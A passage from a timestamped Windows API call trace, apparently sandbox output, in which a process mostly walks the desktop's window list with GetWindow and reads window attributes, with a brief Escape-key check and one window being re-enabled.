0x10220 [0100.982] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0100.982] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0100.982] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0100.982] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0100.982] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0100.982] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0100.982] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0100.982] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0100.983] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0100.983] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0100.983] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0100.983] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0100.983] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0100.983] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0100.983] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0100.983] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0100.983] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0100.983] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0100.983] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0100.983] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0100.983] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0100.983] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0100.983] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0100.983] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0100.984] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0100.984] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0100.984] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0100.984] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0100.984] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0100.984] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0100.984] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0100.984] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0100.984] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0100.984] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0100.984] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0100.984] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0100.984] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0100.984] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0100.984] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0100.985] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0100.985] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0100.985] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0100.985] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0100.985] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0100.985] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0100.985] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0100.985] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0100.985] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0100.985] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0100.985] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0100.985] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0100.985] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0100.986] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0100.986] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0100.986] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0100.986] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0100.986] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0100.986] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0100.986] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0100.986] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0100.986] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0100.986] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0100.986] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0100.986] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0100.986] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0100.986] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0100.987] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0100.987] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0100.987] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0100.987] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0100.987] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0100.987] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0100.987] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0100.987] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0100.987] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0100.987] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0100.987] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0100.987] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0100.988] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0100.988] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0100.988] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0100.988] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0100.988] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0100.988] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0100.988] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0100.988] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0100.988] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0100.988] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0100.988] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0100.988] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0100.988] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0100.989] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0100.989] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0100.989] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0100.989] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0100.989] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0100.989] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0100.989] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0100.989] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0100.989] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0100.989] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0100.989] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0100.989] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0100.989] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0100.989] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0100.990] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0100.990] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0100.990] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0100.990] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0100.990] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0100.990] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0100.990] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0100.990] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0100.990] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0100.990] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0100.990] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0100.990] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0100.991] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0100.991] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0100.991] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0100.991] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0100.991] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0100.991] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0100.991] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0100.991] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0100.991] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0100.991] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0100.991] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0100.991] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0100.991] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0100.991] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0100.991] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0100.992] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0100.992] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0100.992] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0100.992] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0100.992] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0100.992] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0100.992] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0100.992] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x7da0bf0 [0100.992] IMalloc:Free (This=0x7fefecb5380, pv=0x7da0bf0) [0103.930] GetAsyncKeyState (vKey=27) returned 0 [0103.930] GetCurrentThreadId () returned 0xbdc [0103.930] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0103.930] GetDesktopWindow () returned 0x10010 [0103.930] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0103.930] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0103.930] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0103.930] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0103.930] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0103.930] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0103.930] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0103.931] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0103.931] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0103.931] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0103.931] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0103.931] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0103.931] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0103.931] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0103.931] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0103.931] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0103.931] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0103.931] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0103.931] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0103.931] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0103.931] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0103.931] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0103.931] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0103.932] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0103.932] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0103.932] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0103.932] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0103.932] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0103.932] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0103.932] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0103.932] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0103.932] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0103.932] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0103.932] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0103.932] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0103.932] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0103.932] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x20360 [0103.932] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0103.932] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0103.932] IsWindowEnabled (hWnd=0x20360) returned 0 [0103.932] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0103.932] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0103.932] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0103.932] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0103.932] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0103.932] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0103.933] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0103.933] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0103.933] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0103.933] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0103.933] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0103.933] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0103.933] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0103.933] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0103.933] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0103.933] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0103.933] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0103.933] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0103.933] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0103.933] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0103.933] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0103.933] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0103.933] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0103.934] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0103.934] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0103.934] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0103.934] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0103.934] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0103.934] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0103.934] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0103.934] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0103.934] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0103.934] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0103.934] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0103.934] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0103.934] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0103.934] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0103.934] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0103.935] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0103.935] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0103.935] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0103.935] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0103.935] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0103.935] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0103.935] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0103.935] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0103.935] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0103.935] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0103.935] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0103.935] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0103.936] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0103.936] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0103.936] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0103.936] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0103.936] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0103.936] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0103.936] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0103.936] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0103.936] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0103.936] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0103.936] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0103.936] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0103.937] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0103.937] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0103.937] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0103.937] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0103.937] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0103.937] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0103.937] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0103.937] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0103.937] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0103.937] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0103.937] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0103.937] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0103.937] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0103.938] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0103.938] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0103.938] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0103.938] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0103.938] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0103.938] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0103.938] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0103.938] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0103.938] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0103.938] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0103.938] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0103.938] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0103.938] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0103.939] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0103.939] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0103.939] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0103.939] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0103.939] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0103.939] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0103.939] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0103.939] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0103.939] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0103.939] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0103.939] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0103.939] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0103.940] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0103.940] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0103.940] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0103.940] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0103.940] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0103.940] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0103.940] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0103.940] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0103.940] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0103.940] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0103.940] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0103.940] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0103.940] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0103.941] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0103.941] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0103.941] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0103.941] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0103.941] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0103.941] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0103.941] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0103.941] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0103.941] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0103.941] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0103.941] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0103.941] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0103.942] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0103.942] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0103.942] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0103.942] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0103.942] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0103.942] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0103.942] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0103.942] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0103.942] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0103.942] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0103.942] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0103.942] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0103.942] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0103.943] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0103.943] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0103.943] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0103.943] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0103.943] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0103.943] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0103.943] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0103.943] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0103.943] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0103.943] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0103.943] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0103.943] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0103.944] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0103.944] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0103.944] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0103.944] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0103.944] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0103.944] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0103.944] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0103.944] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0103.944] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0103.944] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0103.944] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0103.944] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0103.945] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0103.945] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0103.945] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0103.945] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0103.945] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0103.945] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0103.945] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0103.945] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0103.945] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0103.945] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0103.945] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0103.945] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0103.945] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0103.946] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0103.946] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0103.946] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0103.946] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0103.946] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0103.946] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0103.946] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0103.946] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0103.946] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0103.946] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0103.946] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0103.946] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0103.946] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0103.947] GetWindow (hWnd=0x1010a, 